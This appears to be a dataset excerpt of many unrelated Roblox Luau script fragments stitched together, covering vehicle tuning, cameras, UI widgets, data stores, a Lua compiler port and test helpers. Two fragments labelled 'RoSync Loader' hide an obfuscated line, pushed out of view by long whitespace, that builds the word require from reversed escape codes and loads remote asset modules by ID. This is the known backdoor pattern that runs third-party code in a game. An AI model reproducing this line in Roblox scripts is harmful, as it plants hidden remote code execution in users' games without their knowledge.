Roblox/luau_corpus huggingface dataset:
--[[Run]]

	--Print Version
	local build=require(bike.Tuner.README)
	local ver=script.Parent.Version.Value
	--print("[Novena] NCT: M Loaded - Build: "..build..", Version: "..tostring(ver))
	print("[Novena] NCT: M Beta Loaded - Version: "..tostring(ver))
	
	--Runtime Loops
	
	-- ~60 c/s
	game["Run Service"].Heartbeat:connect(function(dt)	
		_IsOn = script.Parent.IsOn.Value
		_InControls = script.Parent.ControlsOpen.Value
		
		--Steering
		Steering(dt)
		
		--Gear
		Gear()
		
		--Power
		Engine(dt)
		
		--Update External Values
		script.Parent.Values.Gear.Value = _CGear
		script.Parent.Values.RPM.Value = _RPM
		script.Parent.Values.Boost.Value = ((_TBoost/2)*_TPsi)+((_SBoost/2)*_SPsi)
		script.Parent.Values.BoostTurbo.Value = (_TBoost/2)*_TPsi
		script.Parent.Values.BoostSuper.Value = (_SBoost/2)*_SPsi
		script.Parent.Values.HpNatural.Value = _NH
		script.Parent.Values.HpElectric.Value = _EH
		script.Parent.Values.HpTurbo.Value = _TH
		script.Parent.Values.HpSuper.Value = _SH
		script.Parent.Values.HpBoosted.Value = _BH
		script.Parent.Values.Horsepower.Value = _HP
		script.Parent.Values.TqNatural.Value = _NT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
		script.Parent.Values.TqElectric.Value = _ET/_Tune.Ratios[_CGear+1]/fFD/hpScaling
		script.Parent.Values.TqTurbo.Value = _TT/_Tune.Ratios[_CGear+1]/fFD/hpScaling
		script.Parent.Values.TqSuper.Value = _ST/_Tune.Ratios[_CGear+1]/fFD/hpScaling
		script.Parent.Values.TqBoosted.Value = script.Parent.Values.TqTurbo.Value+script.Parent.Values.TqSuper.Value
		script.Parent.Values.Torque.Value = script.Parent.Values.TqNatural.Value+script.Parent.Values.TqElectric.Value+script.Parent.Values.TqBoosted.Value
		script.Parent.Values.TransmissionMode.Value = _TMode
		script.Parent.Values.Throttle.Value = _GThrot
		script.Parent.Values.Brake.Value = _GBrake
		if script.Parent.Values.AutoClutch.Value then
			script.Parent.Values.Clutch.Value = _Clutch
		end
		script.Parent.Values.SteerC.Value = _GSteerC
		script.Parent.Values.SteerT.Value = _GSteerT
		script.Parent.Values.PBrake.Value = _PBrake
		script.Parent.Values.TCS.Value = _TCS
		script.Parent.Values.TCSActive.Value = _TCSActive
		script.Parent.Values.TCSAmt.Value = 1-_TCSAmt
		script.Parent.Values.ABS.Value = _ABS
		script.Parent.Values.ABSActive.Value = _fABSActive or _rABSActive
		script.Parent.Values.MouseSteerOn.Value = _MSteer
		script.Parent.Values.Velocity.Value = bike.DriveSeat.Velocity
	end)
	
	while wait(.0667) do
		if _TMode == "Auto" then Auto() end
	end
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact'))
local Cryo = require(Libraries:WaitForChild('Cryo'))
local Maid = require(Libraries:WaitForChild('Maid'))
local new = Roact.createElement
------------------------------------------------------------------------
-- adjusts debug information for last instruction written, in order to
-- change the line where item comes into existence
-- * used in (lparser) luaY:funcargs(), luaY:forbody(), luaY:funcstat()
------------------------------------------------------------------------
function luaK:fixline(fs, line)
  fs.f.lineinfo[fs.pc - 1] = line
end
-- << Variables >> --

local Player = game:GetService("Players").LocalPlayer
local Mouse = Player:GetMouse()
local Camera = game:GetService("Workspace").CurrentCamera
local UserInputService = game:GetService("UserInputService")
local Humanoid = Player.Character:WaitForChild("Humanoid")
local bobbing = nil
local func1 = 0
local func2 = 0
local func3 = 0
local func4 = 0
local val = 0
local val2 = 0
local int = 8
local int2 = 16
local vect3 = Vector3.new()
--immediatly
game.Workspace.window.die.Transparency = 0.4
game.Workspace.Specksoof.ParticleEmitter.Enabled = true
game.Workspace.Firereactor.Particles.Enabled = true
game.Workspace.Firereactor.Particles1.Enabled = true
game.Workspace.Firereactor.Smoke.Enabled = true
game.Workspace.Firereactor.Light.Enabled = true
game.Workspace.Firereactor.Sound:Play()
--[[
	Set the current node's status based on that of its children. If all children
	are skipped, mark it as skipped. If any are fails, mark it as failed.
	Otherwise, mark it as success.
]]
function TestSession:setStatusFromChildren()
	assert(#self.nodeStack > 0, "Attempting to set status from children on empty stack")

	local last = self.nodeStack[#self.nodeStack]
	local status = TestEnum.TestStatus.Success
	local skipped = true

	-- If all children were skipped, then we were skipped
	-- If any child failed, then we failed!
	for _, child in ipairs(last.children) do
		if child.status ~= TestEnum.TestStatus.Skipped then
			skipped = false

			if child.status == TestEnum.TestStatus.Failure then
				status = TestEnum.TestStatus.Failure
			end
		end
	end

	if skipped then
		status = TestEnum.TestStatus.Skipped
	end

	last.status = status
end

return TestSession
-- @outline // PRIVATE PROPERTIES

local UIS = game:GetService("UserInputService")

local Cam = game.Workspace.Camera
local ScrollValue = 0
--------STAGE--------

game.Workspace.projection1.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentLeftBackground.Value)..""
game.Workspace.projection2.Decal.Texture = "http://www.roblox.com/asset/?id="..(game.Workspace.CurrentRightBackground.Value)..""
--[[Engine]]

	--		[TORQUE CURVE VISUAL]
	--		https://www.desmos.com/calculator/nap6stpjqf
	--		Use sliders to manipulate values
	--		Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
	
	Tune.Horsepower		= 750
	Tune.IdleRPM		= 800
	Tune.PeakRPM		= 4500
	Tune.Redline		= 4350
	Tune.EqPoint		= 4350
	Tune.PeakSharpness	= 20
	Tune.CurveMult		= 0.2
	
	Tune.InclineComp	= 1.2		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Turbo Settings
	Tune.Aspiration		= "Super"												--[[
	[Aspiration]
		"Natural"		: N/A, Naturally aspirated engine
		"Single"		: Single turbocharger
		"Double"		: Twin turbocharger
		"Super"			: Supercharger												]]
	
	Tune.Boost			= 3			--Max PSI (If you have two turbos and this is 15, the PSI will be 30)
	Tune.TurboSize		= 25		--Turbo size; the bigger it is, the more lag it has.
	Tune.CompressRatio	= 9			--The compression ratio (look it up)
	Tune.Sensitivity	= 0.05		--How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
	
	--Misc
	Tune.RevAccel		= 300		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 250		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
--[[Gabes variables]]
	
	local CurrKickdown = 0
	local LaunchBuild = _Tune.IdleRPM
	local Rev = script.Parent.Values.RPM

	car.DriveSeat.DriveMode.Changed:Connect(function()
		if car.DriveSeat.DriveMode.Value == "SportPlus" then
		   if _Tune.TCSEnabled and _IsOn then
					_TCS = false
		   end
		else
		   if _Tune.TCSEnabled and _IsOn then
					_TCS = true
		   end			
		end
	end)
--Load the Nexus VR Character Model module.
local NexusVRCharacterModelModule
local MainModule = script:FindFirstChild("MainModule")
if MainModule then
    NexusVRCharacterModelModule = require(MainModule)
else
    NexusVRCharacterModelModule = require(10728814921) -- was 6052374981
end
-----
local BlockingRemote = RS.Events.Blocking
local RemoveBlocking = RS.Events.BlockingEnd
-- Ganondude

local time_zone = -5		-- Time zone, offset from GMT.

local clock = script.Parent
local face = clock.Face
local hour_hand = clock.Hour
local minute_hand = clock.Minute
local second_hand = clock.Second

local secondsInDay = 60*60*24

function rotateClockHand(hand,rotation)
	local lv = (face.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*face.Size.Y/2.5

	hand.CFrame = face.CFrame*CFrame.Angles(0,-rotation,0) + lv
	hand.CFrame = hand.CFrame - hand.CFrame.lookVector*hand.Size.Z/2
end

while true do
	local tick = math.fmod(tick(),secondsInDay)

	local hour = math.floor(tick/3600) + 5 + time_zone
	local minute = math.floor(tick/60 - 60*hour)
	local second = math.floor(math.fmod(tick,60))

	rotateClockHand(hour_hand,hour*(math.pi/6) + minute*(math.pi/500))
	rotateClockHand(minute_hand,minute*(math.pi/30))
	rotateClockHand(second_hand,second*(math.pi/30))

	wait(0.1)
end
--game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound"):Play()

while game:GetService("RunService").RenderStepped:wait() do
	workspace.CurrentCamera.CameraType = "Scriptable"
	local l = 0--(game.Players.LocalPlayer:WaitForChild("PlayerGui"):WaitForChild("Sound").PlaybackLoudness /10)
	l = (l^3)/500
	local lv = Vector3.new(-l,l/5,0)
	workspace.CurrentCamera:Interpolate(workspace:WaitForChild("CamPart").CFrame,workspace:WaitForChild("CamPart").CFrame + (workspace:WaitForChild("CamPart").CFrame.lookVector * Vector3.new(10,10,10)) + lv,2)
end
-- Private Methods

function init(self)
	local label = self.Frame.Label
	local container = self.Frame.CheckContainer
	local checkmark = self.Button.Checkmark
	
	local function contentSizeUpdate()
		local absSize = self.Frame.AbsoluteSize
		local ratio = absSize.y / absSize.x
		container.Size = UDim2.new(ratio, 0, 1, 0)
		label.Size = UDim2.new(1 - ratio, -10, 1, 0)
		label.Position = UDim2.new(ratio, 10, 0, 0)
	end
	
	contentSizeUpdate()
	self._Maid:Mark(self.Frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate))
	
	self._Maid:Mark(self.Button.Activated:Connect(function()
		self:SetValue(not checkmark.Visible)
	end))
end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Fell + killer" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- declarations
ToolAnim = "None"
ToolAnimTime = 0

JumpAnimTime = 0
JumpAnimDuration = 0.3

ToolTransitionTime = 0.1
FallTransitionTime = 0.3
JumpMaxLimbVelocity = 0.75
--[[ Last synced 9/4/2021 12:51                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
------------------------------------------------------------------------
-- this is a stripped-down luaM_growvector (from lmem.h) which is a
-- macro based on luaM_growaux (in lmem.c); all the following does is
-- reproduce the size limit checking logic of the original function
-- so that error behaviour is identical; all arguments preserved for
-- convenience, even those which are unused
-- * set the t field to nil, since this originally does a sizeof(t)
-- * size (originally a pointer) is never updated, their final values
--   are set by luaY:close_func(), so overall things should still work
------------------------------------------------------------------------
function luaY:growvector(L, v, nelems, size, t, limit, e)
  if nelems >= limit then
    error(e)  -- was luaG_runerror
  end
end
-- asset Id of the bloxy cola gear: http://www.roblox.com/Bloxy-Cola-item?id=10472779
local bloxyColaId = 10472779
-- @param Int amount
function WeaponRuntimeData:SubtractAmmo(amount)
	self.currentAmmo = self.currentAmmo - amount
end
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

BoneModelName = "Suffer zone" -- name the zone model

HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- // Public Methods \\ --
function CastVisualiser:Hide()
	self.CastOriginPart.Parent = nil
end

function CastVisualiser:Raycast(Origin: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?)
	local self: CastVisualiserPrivate = self
	
	local Cast = self.WorldRoot:Raycast(Origin, Direction, RaycastParameters)
	if not Cast then
		self:Hide()
		return
	end
	
	self.CastOriginPart.CFrame = CFrame.lookAt(Origin, Cast.Position)

	self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
	self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
	
	self.BoxVisual.Visible = false
	self.SphereVisual.Visible = false
	
	self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end


function CastVisualiser:Blockcast(CF: CFrame, Size: Vector3, Direction: Vector3, RaycastParameters: RaycastParams?)
	local self: CastVisualiserPrivate = self
	
	local Cast = self.WorldRoot:Blockcast(CF, Size, Direction, RaycastParameters)
	if not Cast then
		self:Hide()
		return
	end
	
	local FinalPos = CF.Position + (Direction.Unit * Cast.Distance)
	
	self.CastOriginPart.CFrame = CFrame.lookAt(CF.Position, FinalPos)
	
	self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
	self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
	
	self.BoxVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
	self.BoxVisual.Size = Size
	
	self.BoxVisual.Visible = true
	self.SphereVisual.Visible = false
	
	self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end


function CastVisualiser:SphereCast(Origin: Vector3, Radius: number, Direction: Vector3, RaycastParameters: RaycastParams?)
	local self: CastVisualiserPrivate = self
	
	local Cast = self.WorldRoot:Spherecast(Origin, Radius, Direction, RaycastParameters)
	if not Cast then
		self:Hide()
		return
	end
	
	local FinalPos = Origin + (Direction.Unit * Cast.Distance)

	self.CastOriginPart.CFrame = CFrame.lookAt(Origin, FinalPos)

	self.LineVisual.Length = Cast.Distance - CONE_HEIGHT
	self.ConeVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
	
	self.SphereVisual.CFrame = CFrame.new(0, 0, -Cast.Distance)
	self.SphereVisual.Radius = Radius
	
	self.SphereVisual.Visible = true
	self.BoxVisual.Visible = false
	
	self.CastOriginPart.Parent = self.WorldRoot:FindFirstChild("Terrain") or self.WorldRoot
end
--[[

		SCRIPT VERSION:
			1.3, 10/19/21
		
		CURRENT ISSUE:
			Nothing
		
--]]

if not game.Loaded or not workspace:FindFirstChild("Terrain") then
	game.Loaded:Wait();
	game:GetService("Players").LocalPlayer.CharacterAdded:Wait();
end;

local Players = game:GetService("Players")
local Player = Players.LocalPlayer;

local Screen = script.Parent.Parent.Leveled.Admin;
local Sidebar = Screen.Sidebar.Inside;

function Animate(Instance, Time, Style, Direction, Animation, WaitForAnimation)
	game:GetService("TweenService"):Create(Instance, TweenInfo.new(Time, Style, Direction, 0, false, 0), Animation):Play();
	if WaitForAnimation == true then
		wait(Time);
	end;
end;

for Int, Button in pairs(Sidebar:GetChildren()) do
	if Button:IsA("ImageButton") then
		Button.MouseButton1Click:Connect(function()
			if Screen:FindFirstChild(Button.Name).Visible == true then
				Screen:FindFirstChild(Button.Name).Visible = false;
				Button.ImageColor3 = Color3.fromRGB(120, 120, 125);
				return;
			end;
			
			local WantScreen = Screen:FindFirstChild(Button.Name);
			for Int, Ue1 in pairs(Screen:GetChildren()) do
				if Ue1.Name ~= "Sidebar" then
					Ue1.Visible = false;
					Sidebar:FindFirstChild(Ue1.Name).ImageColor3 = Color3.fromRGB(120, 120, 125);
				end;
			end;
			WantScreen.Visible = true;
			Button.ImageColor3 = Color3.fromRGB(255, 255, 255);
		end);
	end;
end;
-------------------------------------------
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.5,0.3) * CFrame.fromEulerAnglesXYZ(math.rad(20),0.1,0.1)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
--	SecArrow.Rotation = 180+(second*6)
	wait(1)
end
--[=[
	Unions the set with the other set, making a copy.
	@param set table
	@param otherSet table
	@return table
]=]
function Set.union(set, otherSet)
	local newSet = {}
	for key, _ in pairs(set) do
		newSet[key] = true
	end
	for key, _ in pairs(otherSet) do
		newSet[key] = true
	end
	return newSet
end
-- function fires EVERYTIME a player joins the game
game.Players.PlayerAdded:Connect(onPlayerAdded)
--[[
	DataStore2: A wrapper for data stores that caches and saves player's data.

	DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore

	DataStore2 DataStore:
	- Get([defaultValue])
	- Set(value)
	- Update(updateFunc)
	- Increment(value, defaultValue)
	- BeforeInitialGet(modifier)
	- BeforeSave(modifier)
	- Save()
	- SaveAsync()
	- OnUpdate(callback)
	- BindToClose(callback)

	local coinStore = DataStore2("Coins", player)

	To give a player coins:

	coinStore:Increment(50)

	To get the current player's coins:

	coinStore:Get()
--]]

local RunService = game:GetService("RunService")
local ServerStorage = game:GetService("ServerStorage")

local Constants = require(script.Constants)
local IsPlayer = require(script.IsPlayer)
local Promise = require(script.Promise)
local SavingMethods = require(script.SavingMethods)
local Settings = require(script.Settings)
local TableUtil = require(script.TableUtil)
local Verifier = require(script.Verifier)

local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio")
local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value

local function clone(value)
	if typeof(value) == "table" then
		return TableUtil.clone(value)
	else
		return value
	end
end
--[=[
	Locks the mouse in its current position on screen. Call `mouse:Unlock()`
	to unlock the mouse.

	:::caution Must explicitly unlock
	Be sure to explicitly call `mouse:Unlock()` before cleaning up the mouse.
	The `Destroy` method does _not_ unlock the mouse since there is no way
	to guarantee who "owns" the mouse lock.
]=]
function Mouse:Lock()
	UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition
end
--[[
		___      _______                _     
	   / _ |____/ ___/ /  ___ ____ ___ (_)__ 
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]


local autoscaling	= false					--Estimates top speed

local UNITS	= {								--Click on speed to change units
											--First unit is default	
	{
		units			= "MPH"				,
		scaling			= (10/12) * (60/88)	, -- 1 stud : 10 inches | ft/s to MPH
		maxSpeed		= 160				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "KM/H"			,
		scaling			= (10/12) * 1.09728	, -- 1 stud : 10 inches | ft/s to KP/H
		maxSpeed		= 260				,
		spInc			= 20				, -- Increment between labelled notches
	},
	
	{
		units			= "SPS"				,
		scaling			= 1					, -- Roblox standard
		maxSpeed		= 270				,
		spInc			= 20				, -- Increment between labelled notches
	}
}
-- Servic
local rp = game:GetService("ReplicatedStorage")
local Players = game:GetService('Players')
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.GASettings
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent
--[[ Last synced 12/13/2020 05:30 || RoSync Loader ]]                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--sound.ScriptWestMinsterChimes.Disabled=true
script.Parent.HiLo.Value = false
sound.ScriptOff.Disabled=false
wait()
script.Parent.Spin.Value = false


end
wait()
end
-- Controls IDs for the various handles.

return {
	Left        = "Left",
	Right       = "Right",
	Top         = "Top",
	Bottom      = "Bottom",
	TopRight    = "TopRight",
	TopLeft     = "TopLeft",
	BottomRight = "BottomRight",
	BottomLeft  = "BottomLeft"
}
--[[
	By
	  Precious
	          Beam
--]]
game.Players.PlayerAdded:connect(function(player)
		local datastore = game:GetService("DataStoreService"):GetDataStore(player.Name.."Stats")
	
	player:WaitForChild("Data")
	wait(1)
	local stats = player:FindFirstChild("Data"):GetChildren()
	for i = 1, #stats do			
	stats[i].Value = datastore:GetAsync(stats[i].Name)
	print("stat numba "..i.." has been found")
		end
end)
--[=[
	@param name string
	@param inboundMiddleware ServerMiddleware?
	@param outboundMiddleware ServerMiddleware?
	@return RemoteSignal
]=]
function ServerComm:CreateSignal(name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?)
	return Comm.Server.CreateSignal(self._instancesFolder, name, inboundMiddleware, outboundMiddleware)
end
----------------------------------------

local Ghost = script.Parent
local Player = game.Players:GetPlayerFromCharacter(script.Parent.Parent)
local Character = Player.Character
local Humanoid = Character.Humanoid
local Alive = true